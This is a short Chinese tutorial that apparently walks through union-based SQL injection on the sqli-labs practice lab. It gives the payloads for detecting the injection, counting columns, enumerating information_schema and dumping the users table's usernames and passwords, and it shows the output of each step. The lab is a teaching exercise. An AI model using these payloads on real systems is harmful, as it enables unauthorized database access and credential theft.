渗透测试步骤
1、判断注入点
?id=1’ and ‘1’=’1(有数据回显) 与 ?id=1’ and ‘1’=’2(没有数据回显)的界面前后有着明显的变化,所以这是一个注入点。
2、猜字段数量
?id=1’ order by 4 —+出现报错信息?id=1’ order by 3 —+没有出现报错信息,所以可以得知字段的数量是3个。
?id=-1’ union select 1,2,3 —+回显出数字2和三,可以知道在数字’2’与数字’3’这两个位置可以回显数据。
注:(1)—+的作用是注释(很流氓但是很好用)
(2)使用union select 1,2,3前一定要让前面的条件是假,要不然不会回显2,3等数据。
3、爆数据库名
MySQL的information_schema数据库中有个名为schemata的表,这个表中存储着数据库的名称。
使用?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata —+爆出的数据库名:information_schema,challenges,mysql,performance_schema,security。
4、爆表名
同样,在information_schema数据库中存在一个表用来存储数据库中所表的信息的一个表。这个表的名称是tables表。
通过?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = ‘security’ —+爆出security数据库中所有表的名称为:emails,referers,uagents,users。
5、爆字段名
同理,在information_schema数据库中也有一个表用来存储表中字段的信息。这个表的名称是columns表。
通过?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name = ‘users’ —+爆出users表中的字段名称为:id,username,password。
6、爆数据
现在我们已经知道了数据库、表、字段的信息,接下来我们就可以运用这些信息来爆破数据了。
通过?id=-1’ union select 1,group_concat(username),group_concat(password) from security.users%20 —+爆出了security数据库中users表中的数据。
Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4